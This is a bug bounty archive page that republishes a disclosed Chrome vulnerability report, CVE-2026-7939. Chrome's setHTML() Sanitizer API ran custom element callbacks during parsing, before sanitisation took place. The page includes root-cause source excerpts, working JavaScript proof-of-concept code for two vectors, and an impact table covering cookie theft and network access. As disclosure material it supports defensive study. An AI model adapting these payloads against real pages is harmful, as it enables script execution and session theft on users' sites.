Skip to content
XSS Advisory Advanced CVE-2026-7939

Inappropriate implementation in SanitizerAPI (CVE-2026-7939)

Chrome's setHTML() Sanitizer API ran custom element lifecycle callbacks during fragment parsing, before the sanitizer stripped unsafe nodes. An attacker who could supply HTML to a page that had registered custom elements could run JavaScript in that page's origin while the sanitized output looked clean.

s3zer0 Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 52 days

Report description

setHTML() Sanitizer API bypass via custom element callback execution during parsing


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/dom/element.cc;l=9200


The problem

Please describe the technical details of the vulnerability

The problem

Summary

Element.setHTML() in Chrome 146 fires custom element lifecycle callbacks (attributeChangedCallback, connectedCallback) during HTML fragment parsing, before the Sanitizer processes the DOM tree. An attacker who supplies HTML containing custom elements registered on the target page can execute arbitrary JavaScript through these callbacks, while the sanitized output appears completely clean.

Firefox 148 (which also ships setHTML()) is not affected — it correctly suppresses custom element callbacks during sanitization parsing. Chrome's own DOMParser is also not affected.

Root Cause

In element.cc:9200-9211, CustomElementRegistryForInnerHTML() returns the live document's CustomElementRegistry:

C++
CustomElementRegistry* CustomElementRegistryForInnerHTML(Element* element) {
  CustomElementRegistry* registry =
      element->GetDocument().customElementRegistry();
  // ...
  return registry;  // Returns LIVE registry
}

This registry is passed to ParseHTMLFragment() at line 9238:

C++
DocumentFragment* fragment =
    ParseHTMLFragment(html,
                      {/* ... */
                       .registry = CustomElementRegistryForInnerHTML(this)},
                      options, exception_state);

The parser creates custom elements using this registry, triggering lifecycle callbacks synchronously during parsing. Only after ParseHTMLFragment returns does SanitizerAPI::SanitizeInternal() (sanitizer_api.cc:48) run to strip unsafe elements.

The temporal ordering is:

  1. Parse → custom element created → attributeChangedCallback(name, old, ATTACKER_VALUE) fires
  2. Sanitize → custom element stripped from DOM
  3. Insert → clean fragment inserted

The callbacks at step 1 have full access to window, document, and DOM, with attacker-controlled attribute values.

Reproduction Steps

  1. Open Chrome 146+ (stable)
  2. Open DevTools Console
  3. Paste and run:
JavaScript
// Register a custom element (simulates a web component framework)
customElements.define('x-widget', class extends HTMLElement {
  static get observedAttributes() { return ['data-x']; }
  attributeChangedCallback(name, old, val) {
    // This fires DURING setHTML, BEFORE sanitization
    document.title = 'PWNED: ' + val;
    const s = document.createElement('script');
    s.textContent = 'window._proof = "callback executed"';
    document.head.appendChild(s);
  }
});

// Sanitize untrusted HTML with setHTML
const div = document.createElement('div');
document.body.appendChild(div);
div.setHTML('<x-widget data-x="attacker-controlled"></x-widget><p>safe</p>');

// Verify
console.log('Title:', document.title);        // "PWNED: attacker-controlled"
console.log('Script ran:', window._proof);     // "callback executed"
console.log('Output HTML:', div.innerHTML);    // "<p>safe</p>" (clean!)
  1. Observe: document.title changed, script executed, but output HTML is clean.
  2. Repeat in Firefox 148 — callbacks do not fire.

Additional Vector: is= Attribute

<div is="x-custom"> survives the default sanitizer (since <div> is an allowed element). If a customized built-in element is registered, its connectedCallback fires:

JavaScript
customElements.define('x-div', class extends HTMLDivElement {
  connectedCallback() { document.title = 'PWNED-VIA-IS'; }
}, { extends: 'div' });

div.setHTML('<div is="x-div">innocent</div>');
// Output: <div is="x-div">innocent</div> (element survives!)
// document.title is now "PWNED-VIA-IS"

Verified Capabilities During Callback

Primitive Chrome 146 Firefox 148
attributeChangedCallback fires YES NO
Script injection (document.head.appendChild(script)) YES NO
DOM modification (document.title, element creation) YES NO
Cookie access (document.cookie) YES NO
Network requests (fetch()) YES NO
Output HTML appears clean YES YES

Impact analysis

Who Can Exploit

Any web attacker who can supply HTML content to a setHTML() call on a target page. This is the intended use case of the Sanitizer API — setHTML() was designed specifically to safely handle untrusted HTML input (e.g., user-generated content, rich text editors, HTML email rendering).

Preconditions

  1. Target page registers custom elements with observedAttributes — this is standard practice in modern web apps using component frameworks (Lit, Stencil, FAST, Angular Elements, Shoelace, Microsoft FAST, etc.)
  2. Target page uses setHTML() to sanitize user-provided HTML
  3. Attacker discovers registered custom element names (visible in page source)

What the Attacker Gains

  • Equivalent to XSS: Full JavaScript execution in the page's origin context
  • Cookie/session theft: document.cookie is accessible from the callback
  • DOM manipulation: Arbitrary DOM modification including script injection
  • Network access: fetch() and XMLHttpRequest are callable
  • Invisibility: The sanitized output HTML is completely clean — the attack leaves no trace in the DOM

Severity Justification

This violates the fundamental security invariant of the Sanitizer API: that setHTML() produces safe output without executing attacker-controlled code. Developers using setHTML() as a security boundary against XSS are vulnerable despite following the API's intended usage. Firefox 148 and Chrome's own DOMParser correctly prevent this, confirming it is a Chrome implementation bug.


The cause

What version of Chrome have you found the security issue in?

146.0.7680.72 stable

Is the security issue related to a crash?

No, it is not related to a crash.

Choose the type of vulnerability

Security UI Spoofing

How would you like to be publicly acknowledged for your report?

s3zer0

The original report as published on the Chromium issue tracker, by s3zer0. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the fragment parser was given the live document's custom element registry, so custom element callbacks fired synchronously during parsing before sanitisation ran.

Impact

An attacker could achieve script execution equivalent to XSS in the page's origin, including cookie access and network requests, though only on pages that register custom elements and use setHTML(); Firefox and Chrome's DOMParser were not affected.

What the attacker needed

Target page registers custom elements; target page uses setHTML() on untrusted HTML; attacker can supply that HTML

How it was found

  1. Register a custom element that observes an attribute and acts in its callback.
  2. Create a div and call setHTML with HTML containing that custom element.
  3. Observe the callback ran and the output HTML is clean.
  4. Repeat in Firefox, where the callback does not fire.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sanitizer is meant to clean untrusted HTML so it cannot run code. Here the browser built the HTML first, and building it triggered page-registered custom element code, which ran before the cleaning step. So the cleaned result looked safe, but code had already executed.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by s3zer0

View all

3 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.